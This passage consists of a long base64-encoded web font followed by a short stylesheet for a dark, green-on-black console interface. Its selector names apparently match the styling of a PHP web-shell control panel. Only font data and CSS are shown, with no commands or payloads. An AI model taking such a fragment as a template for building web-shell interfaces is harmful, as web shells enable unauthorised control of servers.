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) format(\'woff\');
font-weight: normal;
font-style: normal;
}
::-moz-selection{color:#000000;background:#FFFFFF;}
::selection{color:#000000;background:#FFFFFF;}
*{font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:0;}
body{background:#000000;font-size:12px;color:#FFFFFF;font-weight:400;}
hr{border-bottom:1px dashed #222222;}
a{color:#1BE628;text-decoration:none;}
a:hover{color:#FFFFFF;}
pre{padding:0 8px;}
form{display:inline;}
table th,p{cursor:default;}
input:focus,select:focus,textarea:focus,button:focus{outline: none;}
#main{background:#111111;-moz-border-radius:10px;border-radius:10px;width:100%;padding:2px 8px;}
#header{text-align:left;margin:0;padding:0;}
#header td{margin:0;padding:0;}
#header h1{font-size:20px;-webkit-transform:rotate(0.0deg);-moz-transform:rotate(0.0deg);-ms-transform:rotate(0.0deg);-o-transform:rotate(0.0deg);transform:rotate(0.0deg);margin:0;padding:0;}
#header h1 a,.xpl:hover a{color:#FFFFFF;}
#menu{background:#111111;margin:0 2px 4px;}
#result{-moz-border-radius:10px;border-radius:10px;border:1px solid #1BE628;line-height:16px;background:#111111;color:#0AA8F2;margin:0 0 8px;padding:4px 8px;}
.headinfo{border-left:1px solid #1BE628;margin:6px;padding:2px 0 0 16px;}
.headtbls tr{height:24px;vertical-align:middle;}
.gaya,.ver{color:#1BE628;font-weight:700;}
